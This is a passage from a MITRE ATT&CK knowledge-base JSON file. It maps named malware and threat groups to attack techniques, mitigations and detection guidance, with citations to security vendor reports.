behavior.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c4c8178-d95a-4e5c-a9e0-e5fd52f5621b","type":"relationship","created":"2020-10-02T15:46:24.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T15:46:24.765Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c50e260-05dd-4bb3-9d75-5a84e2757fa7","type":"relationship","created":"2021-04-09T15:11:36.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.685Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has searched for private keys in .ssh.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c54816e-5dd1-4723-99f5-29c80a2fc171","type":"relationship","created":"2020-05-13T16:45:50.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}],"modified":"2020-05-13T16:45:50.317Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected and staged credentials and network enumeration information, using the networkdll and psfin [TrickBot](https://attack.mitre.org/software/S0266) modules.(Citation: CrowdStrike Grim Spider May 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c57efb7-0a7a-4b75-bbe1-e6f243713bee","created":"2023-08-17T19:05:58.995Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:05:58.995Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used Dynamic DNS providers for their malware C2 infrastructure.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c586158-d02b-468a-bee8-04e1bde320e1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"},{"source_name":"ESET BlackEnergy Jan 2016","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:44.858Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered a process list by using [Tasklist](https://attack.mitre.org/software/S0057).exe.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)(Citation: ESET BlackEnergy Jan 2016)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c595799-aebe-40f3-baa1-0e52cacee8b5","created":"2023-08-28T17:46:39.879Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-28T17:46:39.879Z","description":"Train users not to open email attachments or click unknown links (URLs). Such training fosters more secure habits within your organization and will limit many of the risks. ","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2c5ff227-9d4b-4af0-b534-83b55733f5b5","created":"2022-08-26T22:12:20.986Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been distributed through phishing emails containing a malicious URL.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T22:12:20.986Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c66270f-e6eb-4f0b-9006-9be7fcc9ba3a","type":"relationship","created":"2020-08-05T14:30:34.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee REvil October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/","description":"Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo. Retrieved August 5, 2020."}],"modified":"2021-01-20T22:19:02.405Z","description":"[REvil](https://attack.mitre.org/software/S0496) can inject itself into running processes on a compromised host.(Citation: McAfee REvil October 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c6c5572-9b89-40cd-8faa-6317945cf939","type":"relationship","created":"2022-03-25T14:32:35.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.627Z","description":"[Donut](https://attack.mitre.org/software/S0695) includes a subproject DonutTest to inject shellcode into a target process.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c6c988d-d843-4dc0-82be-b504e3c3a39c","type":"relationship","created":"2020-10-12T17:50:31.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-27T16:43:25.176Z","description":"Restrict read/write access to systemd .timer unit files to only select privileged users who have a legitimate need to manage system services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c78a913-5b17-4942-a6e9-8bfa4c24149b","type":"relationship","created":"2020-03-14T23:23:41.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:23:41.917Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c7d090e-09a1-4a45-baf4-b13790b483f6","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:38:26.666Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has obfuscated code using base64 and gzip compression.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c88062e-f63f-4313-85ef-3d68a9d3fde5","created":"2023-08-01T18:33:55.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:31:56.613Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can obtain current system information from a compromised machine such as the `SHELL PID`, `PSVERSION`, `HOSTNAME`, `LOGONSERVER`, `LASTBOOTUP`, drive information, OS type/version, bitness, and hostname.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c880adf-243c-410b-8237-3c12ed51d7c6","created":"2023-03-08T22:43:17.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"file_sig_table","description":"Kessler, G. (2022, December 9). GCK'S FILE SIGNATURES TABLE. Retrieved August 23, 2022.","url":"https://www.garykessler.net/library/file_sigs.html"},{"source_name":"Polyglot Files: a Hacker’s best friend","description":"Li, V. (2019, October 2). Polyglot Files: a Hacker’s best friend. Retrieved September 27, 2022.","url":"https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:44:59.110Z","description":"Check and ensure that file headers/signature and extensions match using magic bytes detection and/or file signature validation.(Citation: Polyglot Files: a Hacker’s best friend) In Linux, the file command may be used to check the file signature.(Citation: file_sig_table)","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c89cab1-efbb-405c-930d-197ae1910e5b","created":"2019-07-17T20:12:19.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-07T15:10:01.614Z","description":"Identify and block potentially malicious software executed through this technique by using application control tools capable of preventing unknown modules from being loaded.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c8a4c1a-0faf-444d-a6b2-556c55374fa2","type":"relationship","created":"2020-08-05T17:26:24.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-05T17:26:24.486Z","description":"[REvil](https://attack.mitre.org/software/S0496) can mimic the names of known executables.(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c8ae921-219f-42ab-a4a4-5736ef0f8bf8","created":"2020-10-08T20:15:21.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Visa FIN6 Feb 2019","description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:50:39.584Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used encoded PowerShell commands.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c927351-d98a-4734-83db-82ad3231e59f","created":"2020-08-04T19:13:49.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks REvil September 2019","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"},{"source_name":"Cylance Sodinokibi July 2019","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html"},{"source_name":"Intel 471 REvil March 2020","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/"},{"source_name":"McAfee Sodinokibi October 2019","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/"},{"source_name":"Secureworks GandCrab and REvil September 2019","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:07:12.540Z","description":"[REvil](https://attack.mitre.org/software/S0496) can modify the Registry to save encryption parameters and system information.(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2c93a27a-c6f0-46b9-857b-b746e2204670","created":"2021-11-16T15:32:34.263Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can remotely exfiltrate sensitive information from a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T20:01:10.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2c9905cb-74f6-482e-b346-99be8105111c","created":"2022-06-16T13:21:12.717Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-16T13:21:12.717Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2c9c331c-0e39-43ad-95e4-38957ad7b956","created":"2022-02-01T14:23:04.470Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used administrator credentials to gain access to restricted network segments.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-06T14:00:26.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c9e64fa-52a5-4233-a1b7-333e5d7b9d40","type":"relationship","created":"2021-12-07T15:14:11.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T15:14:11.846Z","description":"(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c9fad15-9b3f-45fe-854a-c87113d4695c","type":"relationship","created":"2020-05-28T16:38:03.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.379Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can scan for systems that are vulnerable to the EternalBlue exploit.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ca333e2-c94f-4cc1-af46-beae48ff3c43","type":"relationship","created":"2021-09-07T13:31:50.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.743Z","description":"(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ca546e0-6a3f-4a9f-82c3-2e41ffa67b79","type":"relationship","created":"2021-02-17T19:22:30.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-02-17T19:22:30.949Z","description":"[Conti](https://attack.mitre.org/software/S0575) has decrypted its payload using a hardcoded AES-256 key.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2caa01e8-5c60-47d6-aa48-989ed8641c53","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Azure Active Directory security operations guide","description":"Microsoft . (2022, September 16). Azure Active Directory security operations guide. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-introduction"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T15:56:28.444Z","description":"Monitor for newly constructed user accounts through the collection of usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts, such as accounts that do not follow specified naming conventions or accounts created by unapproved users or sources.(Citation: Microsoft Azure Active Directory security operations guide) Monitor for newly created admin accounts that go over a certain threshold of known admins.\n\nAnalytic 1 - Unusual ActorPrincipalNames, creation of accounts with suspicious properties\n\n index=\"azure_ad_audit_logs\" Category=\"UserManagement\" Activity=\"Add user\"\n| search ActorPrincipalName=\"*\" 